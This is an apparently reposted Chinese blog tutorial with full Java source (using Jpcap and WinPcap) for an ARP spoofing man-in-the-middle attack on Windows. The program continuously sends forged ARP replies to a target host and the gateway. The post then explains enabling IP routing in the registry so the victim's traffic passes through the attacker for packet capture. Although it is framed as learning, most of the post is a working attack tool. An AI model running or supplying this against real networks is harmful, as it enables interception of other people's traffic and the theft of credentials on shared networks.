最近了解到了ARP攻击技术,本着学习的目的,笔者需要在Windows下模拟实施ARP欺骗,主要使用的是Jpcap扩展包来完成这项任务。

准备工作

1.安装WinPcap 官网 , 网盘里面也有

2.下载Jpcap,百度网盘地址 提取码 vu2s

下载完成之后,将Jpcap.dll放到你的jdk/bin下面,将Jpcap.jar引用到你的项目中

代码

import jpcap.JpcapCaptor;
import jpcap.JpcapSender;
import jpcap.NetworkInterface;
import jpcap.packet.ARPPacket;
import jpcap.packet.EthernetPacket;

import java.net.InetAddress;
import java.util.Scanner;

public class ArpAttack {
    public static void main(String[] args) throws Exception{
        int time = 1;  // 重发间隔时间

        Scanner scanner = new Scanner(System.in);

        /*
         为了省事,本地IP,Mac地址需手动输入
         */
        System.out.print("本机IP地址:");
        InetAddress myIp = InetAddress.getByName(scanner.next());
        System.out.print("本机Mac地址:");
        byte[] myMac = macToBytes(scanner.next());

        // 目标主机的IP与Mac
        System.out.print("目标IP地址:");
        InetAddress targetIp = InetAddress.getByName(scanner.next());
        byte[] targetMac = macToBytes(NetUtil.getMacAddress(targetIp.getHostAddress()));

        // 网关的IP与Mac
        System.out.print("网关IP地址:");
        InetAddress wanIp = InetAddress.getByName(scanner.next());
        byte[] wanMac = macToBytes(NetUtil.getMacAddress(wanIp.getHostName()));

        System.out.println("n-------------------------------------------------n");

        // 枚举网卡并打开设备
        NetworkInterface[] devices = JpcapCaptor.getDeviceList();
        for (int i = 0; i < devices.length;i++) {
            System.out.printf("%s.%s,Mac=[%s]%n",i,
                    devices[i].description, macToStr(devices[i].mac_address));
        }
        System.out.print("n选择一个网卡:");
        NetworkInterface device = devices[scanner.nextInt()];

        System.out.println("n-------------------------------------------------n");

        JpcapSender sender = JpcapSender.openDevice(device);

        // 告诉靶机: 我是路由器,实则填写的却是本机的Mac地址
        ARPPacket arp1 = getARPPacket(myMac,wanIp,targetMac,targetIp);
        // 告诉路由器: 我是靶机,实则填写的是本机的Mac地址
        ARPPacket arp2 = getARPPacket(myMac,targetIp,wanMac,wanIp);
        // 在欺骗目标的同时,自己的主机ARP表也会被破坏,导致访问不到路由器
        // 所以下面两个包是告诉本机正确的IP地址对应的Mac地址
        ARPPacket arp3 = getARPPacket(wanMac,wanIp,myMac,myIp);
        ARPPacket arp4 = getARPPacket(targetMac,targetIp,myMac,myIp);

        // 发送ARP应答包
        for (int i = 1;true;i++) {
            sender.sendPacket(arp1);
            sender.sendPacket(arp2);
            sender.sendPacket(arp3);
            sender.sendPacket(arp4);

            System.out.println("已发送: " + i);
            Thread.sleep(time * 1000);
        }
    }

    /**
     * mac地址转byte数组的方法
     */
    public static byte[] macToBytes(String s) {
        byte[] bytes = new byte[] { (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00 };
        String[] s1 = s.split("-");
        for (int i = 0; i < s1.length; i++) {
            bytes[i] = (byte) ((Integer.parseInt(s1[i], 16)) & 0xff);
        }
        return bytes;
    }

    /**
     * mac字节转字符串的方法
     */
    public static String macToStr(byte[] bytes) {
        StringBuilder str = new StringBuilder();
        for (int i = 0; i < bytes.length; i++) {
            str.append(Integer.toString(bytes[i] & 0xff, 16));
            if (i < bytes.length - 1) {
                str.append("-");
            }
        }
        return str.toString();
    }

    /**
     * 构造ARP包的方法
     */
    public static ARPPacket getARPPacket(byte[] sender_hardaddr, InetAddress sender_protoaddr,
                                         byte[] target_hardaddr, InetAddress target_protoaddr) {

        ARPPacket arp = new ARPPacket();

        arp.hardtype = ARPPacket.HARDTYPE_ETHER;
        arp.prototype = ARPPacket.PROTOTYPE_IP;
        arp.operation = ARPPacket.ARP_REPLY;
        arp.hlen = 6;
        arp.plen = 4;
        arp.sender_hardaddr = sender_hardaddr;
        arp.sender_protoaddr = sender_protoaddr.getAddress();
        arp.target_hardaddr = target_hardaddr;
        arp.target_protoaddr = target_protoaddr.getAddress();

        EthernetPacket ether = new EthernetPacket();
        ether.frametype = EthernetPacket.ETHERTYPE_ARP;
        ether.src_mac = sender_hardaddr;
        ether.dst_mac = target_hardaddr;
        arp.datalink = ether;

        return arp;
    }
}

NetUtil.java

import java.io.InputStream;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

/**
 * 代码来自:https://www.oschina.net/code/snippet_1170650_53378
 */
public class NetUtil {
    /**
     * 执行单条指令
     * @param cmd 命令
     * @return 执行结果
     * @throws Exception
     */
    public static String command(String cmd) throws Exception{
        Process process = Runtime.getRuntime().exec(cmd);
        process.waitFor();
        InputStream in = process.getInputStream();
        StringBuilder result = new StringBuilder();
        byte[] data = new byte[256];
        while(in.read(data) != -1){
            String encoding = System.getProperty("sun.jnu.encoding");
            result.append(new String(data,encoding));
        }
        return result.toString();
    }


    /**
     * 获取mac地址
     * @param ip
     * @return
     * @throws Exception
     */
    public static String getMacAddress(String ip) throws Exception{
        String result = command("arp -a "+ip);
        String regExp = "([0-9A-Fa-f]{2})([-:][0-9A-Fa-f]{2}){5}";
        Pattern pattern = Pattern.compile(regExp);
        Matcher matcher = pattern.matcher(result);
        StringBuilder mac = new StringBuilder();
        while (matcher.find()) {
            String temp = matcher.group();
            mac.append(temp);
        }
        return mac.toString();
    }
}

运行

运行前需保证本地arp表是正常的,可以使用arp -a命令查看arp表,并且必须要包含靶机的arp信息,如果没有包含靶机的arp信息,可以ping一下靶机。

运行Java代码(注意网卡不要选错了):

运行成功后靶机应该是无法联网的,因为windows默认关闭了路由服务。解决办法:

  • 修改注册表HKEY_LOCAL_MACHINE > SYSTEM > CurrentControlSet >Services> Tcpip >Parameters > IP Enable Router,将0改为1。
  • 开启服务Routing and Remote Access

然后可以靶机就可以正常上网了,至此,ARP欺骗就已经实现了,靶机上的所有流量数据都会流经我们的主机,可以使用抓包工具如wireshark进行数据包抓取,就不过多赘述了。

内容来源于网络如有侵权请私信删除

文章来源: 博客园

原文链接: https://www.cnblogs.com/zuo-you/p/14690651.html

你还没有登录,请先登录注册
  • 还没有人评论,欢迎说说您的想法!